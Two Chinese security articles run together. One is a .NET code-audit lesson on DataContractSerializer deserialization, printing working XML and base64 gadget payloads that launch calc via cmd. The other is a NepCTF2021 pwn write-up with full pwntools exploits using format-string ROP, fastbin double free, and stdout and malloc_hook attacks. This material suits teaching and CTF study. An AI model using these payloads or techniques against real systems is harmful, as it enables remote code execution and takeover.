* [《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》](https://paper.seebug.org/843/ "《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》")
* [《.NET高级代码审计（第三课）Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）Fastjson反序列化漏洞》")
* [《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》](https://paper.seebug.org/865/ "《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》")
* [《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》](https://paper.seebug.org/881/ "《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》")
## 0X00 前言
DataContractSerializer类用于序列化和反序列化 **Windows Communication Foundation (WCF)**
消息中发送的数据，用于把CLR数据类型序列化成XML流，它位于命名空间System.Runtime.Serialization，继承于System.Runtime.Serialization.XmlObjectSerializer，在某些场景下开发者使用DataContractSerializer.ReadObject读取了恶意的XML数据就会造成反序列化漏洞，从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
## 0X01 DataContractSerializer序列化
类名使用DataContractAttribute 标记，类成员使用DataMemberAttribute
标记，可指定要序列化的属性和字段，下面先来看这个系列课程中经典的一段代码
TestClass对象定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
使用DataContractSerializer.WriteObject非常方便的实现.NET对象与XML数据之间的转化，笔者定义TestClass对象，常规下使用WriteObject得到序列化后的XML数据
<TestClass xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>18</Age><Classname>360</Classname><Name>Ivan1ee</Name></TestClass>
## 0x02 DataContractSerializer反序列化
### 2.1、反序列化原理和用法
反序列过程是将XML流或者数据转换为对象，在DataContractSerializer类中创建对象然后调用ReadObject方法实现的
首先看DataContractSerializer类的定义，创建实例的时候会带入类型解析器
然后在初始化方法 Initialize里将Type类型解析器赋值给成员rootType
反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法，省略一些非核心代码，进入InternalReadObject方法体内
ReadDataContractValue方法体内返回用ReadXmlValue处理后的数据，
从下图可以看出这是一个C#里的虚方法，在用System.Runtime.Serialization.DiagnosticUtility类处理数据的时候通过DataContract.GetClrTypeFullName得到CLR数据类型的全限定名。
下图Demo展示了序列化和反序列化前后的效果
反序列化后得到对象的属性，打印输出成员Name的值。
### 2.2、攻击向量—ObjectDataProvider
漏洞的触发点是在于初始化DataContractSerializer类实例时，参数类型解析器type是否可控，也就是说攻击者需要控制重构对象的类型，若可控的情况下并且反序列化了恶意的Xml数据就可以触发反序列化漏洞。笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《
**.NET高级代码审计（第一课） XmlSerializer反序列化漏洞**
》，因为Process.Start之前需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先考虑序列化ProcessStartInfo再来序列化Process类调用StartInfo启动程序，然后需要对其做减法，去掉无关的System.RuntimeType、System.IntPtr窗口句柄数据，下面是国外研究者提供的反序列化Payload
<?xml version=""1.0""?>
<root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
<ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">
<__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
<b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType>
<b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c calc.exe</b:anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref=""ref1""/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
设计的Demo里使用ReadObject(new XmlTextReader(new
StringReader(xmlItem.InnerXml)))反序列化成功弹出计算器。
### 2.3、攻击向量—WindowsIdentity
第二种攻击方法使用WindowsIdentity类，这个类继承了ClaimsIdentity，并且实现了ISerializable接口，实现这个接口好处是可以控制你想反序列化的数据类型，此外还可以避免用到反射机制从而提高了运行速度。具体有关此类的用法可以看一下《
**.NET高级代码审计（第二课） Json.Net反序列化漏洞** 》，下面是国外研究者提供的反序列化Poc
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">
<System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext>
</WindowsIdentity>
</root>
将Demo中的变量替换掉后，在抛出异常之前成功触发计算器，效果如下图
## 0x03 代码审计视角
### 3.1、ReadObject
从代码审计的角度很容易找到漏洞的EntryPoint，通过前面几个小节的知识能发现需要满足一个类型解析器type可控，再传入XML，就可以被反序列化，例如下面的DataContractSerializer类
## 0x04 案例复盘
1. 使用ObjectDataProvider攻击向量，输入<http://localhost:5651/Default> Post加载value值
2. 通过ReadObject 反序列化 ，并弹出计算器，网页返回200。
3. 使用WindowsIdentity攻击向量，输入<http://localhost:5651/Default> Post加载value值，弹出计算器的同时，服务也会挂掉。
最后附上动态效果图
## 0x05 总结
DataContractSerializer在实际开发中使用频率较高，但因type需可控才能实施攻击，所以攻击成本相对来说较高。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# NepCTF2021个人赛Pwn题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## nepCTF [签到] 送你一朵小红花
### 保护
### 分析
* 通过查看字符串，找到后门函数，由于没有被引用，因此IDA并没有识别出来
* main函数中有一个很明显的溢出，并且malloc中存放的是函数指针
* 由于开启了PIE，因此后门函数的地址是未知的
* 但是malloc中已经有一个在后门函数附近的函数指针了，因此后门函数与已经有的函数指针，只有低2B不同
* 并且由于4K对齐，低12bit保持不变，因此只需要partial overwrite即可，需啊哟猜测4bit
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context(arch='amd64', os='linux')
for i in range(2**4):
try:
sh = remote('node2.hackingfor.fun', 32799)
#gdb.attach(sh, 'break *'+hex(proc_base+0x1721))
exp = '\x00'*0x10
exp+= p16(0xE4E1)
sh.send(exp)
sh.interactive()
except:
continue
## nepCTF easypwn
### 保护
没有PIE，没Canary，只可能事ROP的题了
### 分析
* 我们的输入都被复制到bss段上面，很明显的，这是为我们写ROP做准备，不然无法直到ret到哪里
* 整个程序只有一个格式化字符串漏洞，而且只有7B，我们需要利用这个漏洞来开启ROP
**泄露libc**
* 题目只说了是2.27，但是具体是那个小版本没说，可以先利用格式化字符串泄露libc
* 栈环境
可以利用保存在栈上的libc_start_main的返回地址去泄露libc的最低12bit
远程打出来发现是2.27 UB1.3
**开启ROP**
* 7B，只能用类似%xx$hhn的exp，也就是说只够我们任意地址写入一个00的，这时候就用很多种思路了
* 打GOT表，让试试能否让函数正好偏移到可利用的位置，失败
* 打IO结构体，但是未知libc地址，后续也没有scanf，失败
* 通过%100c在buffer输出很多字符，从而再memcpy中产生栈溢出，但是被snprintf的7B限制住了，失败
* 利用RBP链表劫持caller保存在栈上的，这个技巧很通用，下面详细说明
**RBP链表与格式化字符串**
* 从rbp指向的开始，到rsp结束的栈区域称之为一个函数栈帧
* 当函数A调用函数B时，B需要保证A的函数栈帧不变
* 因此再进入函数B时有如下指令
push rbp ;保存A的rbp，此时rsp指向栈中A的rbp
mov rsp, rbp ;rbp=rsp，此时A的栈底成为B的栈顶，此时rbpA的rbp
sub rsp, X ;分配X空间，此时[rbp, rsp]成为B自己的栈帧
...
leave ;恢复栈空间， rsp=rbp, pop rbp
ret ;返回
* 我们可以发现一个天然的栈链表： **B的rbp指向保存再栈中A的rbp，
递推下去，A的rbp也是如此**
* 观察snprintf时的栈环境，可以很明显的看到一条链表
* 那么与格式化字符串有什么关系呢？
* 格式化字符串的%N$n参数，需要第N个参数为一个指针才能完成写出
* 这个rbp链表刚好可以当做我们的参数，而且还不需要我们泄露栈地址，就可以劫持caller()的rbp
* 假设有`caller1()=>caller2()=>caller3()`的调用链条，再caller3中我们其rbp链表，修改了保存在栈上的caller2()的rbp为X
* 当`caller3()`经过 `leave; ret;`返回到caller2()时，caller2()的rbp=X
* 当`caller2()`经过`leave; ret;`返回到caller1()时，有
* leave:
* rsp = rbp = X
* pop rbp，rsp=X+8
* ret:
pop rip，从而开启ROP
**ROP**
有了上述思路，本题就很容易了
* 先格式化字符串修改caller()’s rbp最低字节为00，rbp刚好可以偏移到我们可控的位置，开启ROP
* 整个ROP链表可以描述为
* ROP1：
* 劫持rbp为ROP2的地址
* puts(puts的GOT地址)泄露libc地址
* 返回到leave; ret，通过栈迁移开启ROP2
* ROP2：
* 劫持rbp为ROP3的地址
* read(0, ROP3, len)读入新的ROP，因为需要利用上libc泄露的地址
* 返回到leave; ret，栈迁移开启ROP3
* ROP3：
* syscall调用execve(“/bin/sh”, 0, 0)
* 要避免使用system，因为system对rsp的对齐有要求，可能会导致意外的SIGV
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
gdb.attach(sh, 'break *0x400b7e')
else: #remtoe
sh = remote('node2.hackingfor.fun', 34092)
def TeamName(name):
sh.recvuntil('Please input your teamname: ')
sh.send(name)
def NameIntro(name, intro):
sh.recvuntil('input your name\n')
sh.send(name)
sh.recvuntil('input introduction\n')
sh.send(intro)
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x400a1f
#ROP2 read ROP3 and trigger it
exp = p64(0x602380) #rbp
exp+= p64(pop_rdi_ret) #read(0, buf, size)
exp+= p64(0)
exp+= p64(pop_rsi_r15_ret)
exp+= p64(0x602380)
exp+= p64(0)
exp+= p64(elf.symbols['read'])
exp+= p64(leave_ret)
exp = exp.ljust(0x50, 'A')
TeamName(exp)
#ROP1, leak libc addr and begin ROP2
name = "%22$hhn" #attach rbp list
Intro = p64(0x6020c0) #rbp, TeamName addr
Intro+= p64(pop_rdi_ret) #puts(@GOT)
Intro+= p64(elf.got['puts'])
Intro+= p64(elf.plt['puts'])
Intro+= p64(leave_ret) #stack migrate
Intro+= "/bin/sh\x00"
Intro = Intro.ljust(0x38, 'A')
NameIntro(name, Intro)
sh.recv(4)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
Log('libc.address')
rop = p64(0) #caller's rbp
rop+= p64(pop_rdi_ret) #rdi
rop+= p64(0x602149)
rop+= p64(pop_rsi_r15_ret) #rsi
rop+= p64(0)
rop+= p64(0)
rop+= p64(libc.address+0x1b96) #rdx
rop+= p64(0)
rop+= p64(libc.address+0x43ae8) #rax
rop+= p64(59)
rop+= p64(libc.address+0xd2745) #syscall
sleep(1)
sh.send(rop)
sh.interactive()
### 环境问题
本地UB18.04的测试中，是刚好差了8B无法开启ROP的，但是再UB16.04中就可以正常进行，所以本地调试时还是要多试试环境
## nepCTF easystack
### 保护
### 分析
* 先把flag read到bss上
* Main函数
* 有一个很明显的栈溢出,但自己实现了一个canary机制
* 当发现canary被修改过之后,会调用`__stack_chk_fail()`函数
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
* 其中__libc_argv定义在libc的bss段,指向栈中的文件名指针argv
* __libc_argv => argv => 文件名
* 因此我们只要栈溢出的够多,覆盖argv,就可完成一个任意读,本题和2018网鼎杯 GUESS 很像,就不多说了
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
sh = remote('node2.hackingfor.fun', 31255)
#gdb.attach(sh, 'break *0x400A8E')
sleep(1)
exp = 'A'*0x1c8
exp+= p64(0x6CDE20)
#sh.recvuntil('give me your answer!!\n')
sh.sendline(exp)
sh.interactive()
## nepCTF sooooeasy
### 保护
### 程序分析
* 结构体
struct Note{
bool in_use;
char* name;
char msg[0x18];
};
sizeof(Note)=0x28
* Add
* 只能使用0xF次
* 分配Note并清空
* note = malloc(struct Note);
* memset(note, 0, 0x28)
* 分配任意大小的name并进行写入
* 读入任意大小的size
* tmp = malloc(sz),
* read(0, tmp, sz);
* note->name=tmp
* 读入0x17长的msg
* scanf(“%23s”, ¬e->msg)
* note->in_use = 1
* 记录写入到PtrArr中
* PtrArr[idx] = note
* Delete
* 读入idx：0<=idx<=0x13
* PtrArr[idx]->in_use = 0
* free(PtrArr[idx]->name)
### 思路
**泄露libc版本**
* Delete之后没有设置为null，造成double free
* 堆题libc都很重要,题目没给libc，先用double free测一下
* 如果报fastbin double free 那就是2.23~2.26
* 2.23下会检查free的fastbin chunk是不是fastbin链表中的第一个chunk
* 如果没报错那就是2.27~2.28
* 因为有tcahce,2.27的tcache没有任何检查
* 如果报tcache double free那么就是2.29及其以上
* 因为2.29以后tcache增加了key字段防止tcache double free
不仅知道了是2.23还可以直接更绝低12bit确定libc的小版本
**getshell思路**
* 2.23下直接fastbin double free,通过隔块释放的方法绕过检查
* fastbin attack的要点就在于要伪造size
* 没开seccomp因此可以利用__malloc_hook前面的0x7F,去伪造一个0x70的大小
* 思路清晰了，直接fastbin double free打malloc hook+OGG，可能要realloc调整栈
* 顺便说一句:如果是要打__free_hook,附近没有0x7F怎么办呢?
* malloc_state前面有0x7F,可以利用这个0x7F打malloc_state控制top chunk指针,不断申请让top chunk最终分配到__free_hook
* 还是打malloc_state,但这次控制fastbin数组,利用fastbin jump手法,一边伪造size一边分配,这个手法没什么文章说,我后面可能会再发一篇细说
**泄露libc思路**
* 题目没给show功能,因此我们只能通过UB的fd指针构造一个stdout指针,然后打IO
* 先得到一个UBchunk,分配到后partial overwrite残留的fd指针,得到指向stdout附近的的指针
* `UBchunk->FC_near_stdout`
* 不能直接指向stdout,要指向stdout前面的0x7F来伪造size
* 构造一个double free
* `Fastbin->A<->B`
* 为了绕过检查,A,B,UBchunk的size都一样
* 分配Fastbin得到A,partial overwrite残留的堆指针,使其指向UBchunk
* `fastbin->B->A->UBchunk->FC_near_stdout`
* 接下来不断分配就可达到stdout
* 打stdout的手法:
* 当控制`stdout->_flag =0xFBAD180`0后
* 输出时会打印`[stdout->_IO_write_base, stdout->_IO_write_ptr)`之间的内容
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
for i in range(100):
try:
sh = remote('node2.hackingfor.fun', 38018)
def Cmd(n):
sh.recvuntil('Your choice : ')
sh.send(str(n).ljust(8, '\x00'))
def Add(sz, name, msg, nl=True):
Cmd(1)
if(nl):
sh.recvuntil('size of the your name: \n')
else:
sh.recvuntil('size of the your name: ')
sh.sendline(str(sz))
if(nl):
sh.recvuntil('Your name:\n')
else:
sh.recvuntil('Your name:')
sh.send(name)
res = ''
if(nl):
res = sh.recvuntil('Your message:\n')
else:
res = sh.recvuntil('Your message:')
sh.send(msg)
return res
def Delete(idx, nl = True):
Cmd(2)
if(nl):
sh.recvuntil('mumber\'s index:\n')
else:
sh.recvuntil('mumber\'s index:')
sh.sendline(str(idx))
Add(0x90, 'A'*0x90, 'A\n') #0
Add(0x68, 'B'*0x68, 'B\n') #1
Add(0x68, 'C'*0x68, 'C\n') #2
#get a UB chunk
Delete(0) #UB<=>(A, 0xA0)
#gdb.attach(sh)
#partial overwrite UB'fd, get a 0x7F fake chunk near stdout
hb = 0xc #int(input(), 16) #0xC
Add(0x68, p16(0x5DD|(hb<<12)), 'D\n') #3 0x70+0x30 = 0xA0, D->FC near stdout
#Fastbin double Free
Delete(1) #FB[0x70]->B
Delete(2) #FB[0x70]->C->B
Delete(1) #FB[0x70]->B<->C
hb = 0xF #int(input(), 16) #0xf
#partial overwrite A's fd, Fastbin[0x70]->C->B->D->FC near stdout
Add(0x68, p16(0x060|(hb<<12)), 'B\n') #4
Add(0x68, p16(0x060|(hb<<12)), 'C\n') #5 Fastbin[0x70]->B->D->FC near stdout
Add(0x68, p16(0x060|(hb<<12)), 'B\n') #6 Fastbin[0x70]->D->FC near stdout
Add(0x68, p16(0x060|(hb<<12)), 'D\n') #7 Fastbin[0x70]->FC near stdout
#stdout attack
exp = '\x00'*(3+8*6)
exp+= p64(0xFBAD1800) #flag
exp+= p64(0)*3 #read
exp+= p8(0x58) #write_ptr
res = Add(0x68, exp, 'E\n', False)
#get addr
libc.address = u64(res[1:9]) -0x3c56a3
Log('libc.address')
if(libc.address>=0x0000800000000000): #check
sh.close()
continue
ones = [0x45226, 0x4527a, 0xf0364, 0xf1207]
OGG = libc.address + ones[2]
Log('OGG')
FC_hook = libc.address+0x3c4aed
Log('FC_hook')
#fastbin Double free
Delete(1, False) #FB[0x70]->B
Delete(2, False) #FB[0x70]->C->B
Delete(1, False) #FB[0x70]->B<->C
#attack realloc_hook, malloc_hook
Add(0x68, p64(FC_hook), 'B\n', False) #FB[0x70]->C->B->FC_hook
Add(0x68, p64(FC_hook), 'C\n', False) #FB[0x70]->B->FC_hook
Add(0x68, p64(FC_hook), 'B\n', False) #FB[0x70]->FC_hook
#Add(0x68, p64(FC_hook), 'B\n') #FB[0x70]->C->B->FC_hook
exp = '\x00'*(3)
exp+= p64(0)
exp+= p64(OGG) #realloc_hook
exp+= p64(libc.symbols['realloc']+16) #adjust stack env
Add(0x68, exp, 'F\n', False)
#trigger
#gdb.attach(sh, 'break *'+hex(proc_base+0xb0a))
Cmd(1)
sh.interactive()
except:
continue
#sh.close()
'''
telescope 0x202040+0x0000555555554000
want: 0x0000555555759070
'''
## nepCTF scmt
### 保护
### 程序分析
* 直接格式化字符串泄露rand就好了,模板题
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
sh = remote('node2.hackingfor.fun', 36380)
#gdb.attach(sh, 'break *0x400B23')
exp = '%8$x'
sh.recvuntil('tell me your name:\n')
sh.send(exp)
sh.recvuntil('Welcome!!!')
key = int(sh.recvuntil('Give', drop=True), 16)
Log('key')
sh.recvuntil('number:\n')
sh.sendline(str(key))
sh.interactive()
## nepCTF superpowers
### 保护
### 程序分析
**返回地址保护**
* 在进入main函数的时候并不是常规的建立栈帧,而是借助ecx又保存了一次rsp
* 这样做的目的是避免栈中的有指向返回地址的指针,让格式化字符串无法开启ROP
### 读文件
* 读文件可以通过读/proc/self/maps来泄露所有地址
* self是一个伪目录,表示本进程的pid
* maps保存了这个进程的内存映射
* 远程打过去，得知为2.23的libc
### 格式化字符串
* 长度无限制,读到栈上,可以直接拿来进行任意写
* 再进行格式化字符串之后,程序调用了`fclose(fp)`就返回了
* `main()`返回到`__libc_start_main()`之后,`__libc_start_main()`又会调用`exit()`
* 因此这里有两个攻击面:
* `fclose(fp)`:伪造fp,通过vtable获得控制权
* `exit()`:劫持`_rtdl_global`结构体,伪造.fini_arrary节进行一种另类的ROP
* 由于偏移问题,这种思路没成功,但还是很有借鉴意义的,所以说一下
### 劫持`_rtdl_global`
* `ELF节标识符`通过`描述符+地址`指向节真正的位置
* 0x1a代表描述的是.fini_array节的地址
* 0x1c代表描述的是.fini_array节的长度
* `_rtdl_global`结构体位于ld.so.2的bss段,用来保存载入的ELF文件
* `_rtdl_global`中通过指向`ELF节标识符`的指针来找到对应节
* exit()函数再退出时,通过`_rtdl_global`找到`.fini_array节`,然后执行其中的函数
* 通常ELF节标识符都是只读的,无法开刀,但是`_rtdl_global`可读可写
* 所以我们可以通过libc地址+偏移找到`_rtdl_global`的地址
* 格式化字符串修改`_rtdl_global`中的fini节指针,指向我们伪造的地方
* 同时exit()调用`.fini_array节`中函数的特点
* 逆序从后往前调用
* 遍历fini时只有几条指令,栈环境很稳定
* 第一个参数正好是一个栈指针,可以用作缓冲器传递数据
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
gdb.attach(sh, '''break *0x80487B3''')
else: #remtoe
sh = remote('node2.hackingfor.fun', 34111)
def FileName(fn):
sh.recvuntil('please input filename:')
sh.sendline(fn)
def Name(name):
sh.recvuntil('what\'s you name?\n')
sh.send(name)
#leak addr
FileName('/proc/self/maps')
for i in range(5):
sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')
#fmt str
fini_arr_addr = libc.address + 0x1f59a0
Log('fini_arr_addr')
fini_arr_len_addr = libc.address + 0x1f59a8
buf = 0x0804a400
exp = fmtstr_payload(
offset = 27,
writes = {
fini_arr_len_addr: buf,
fini_arr_addr: buf+8,
#fini_arr_len section
buf: 0x1C,
buf+4: 4*3,
#fini_arr section
buf+8: 0x1a,
buf+12: buf+16, #fini arr ptr
buf+16: libc.symbols['system'],
buf+20: libc.symbols['gets'],
buf+24: libc.symbols['gets']
},
write_size = 'byte'
)
Name(exp)
sh.sendline('/bin/sh')
sh.interactive()
'''
print: break *0x80487B3
exit: break *0xf7fe8a53 / 0xf7e3677f /0xf7fe8a2f
exit call: 0xf7fe8a70
fini_arr: set *0x8049edc=0xdeadbeef
main_ret: break *0x80487DC
fini_arr_addr: 0x08049f10
'''
### 伪造 _IO_FILE_
* `fclsoe()`函数会根据虚表去调用`_IO_FINISH(fp)`
* 2.23下并没有对`_IO_FILE`中`vtable`指针检查,所以可以随意伪造
* 根据调用,我们只要把`_IO_FILE->vatble`劫持到伪造的虚表中
* 然后在伪造的虚表中令`__finish`字段为`system()`
* 此时`__finsh(fp)`就变成了`system(fp)`,我们只要再fp开头8B中写入”/bin/sh”就可getshell
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
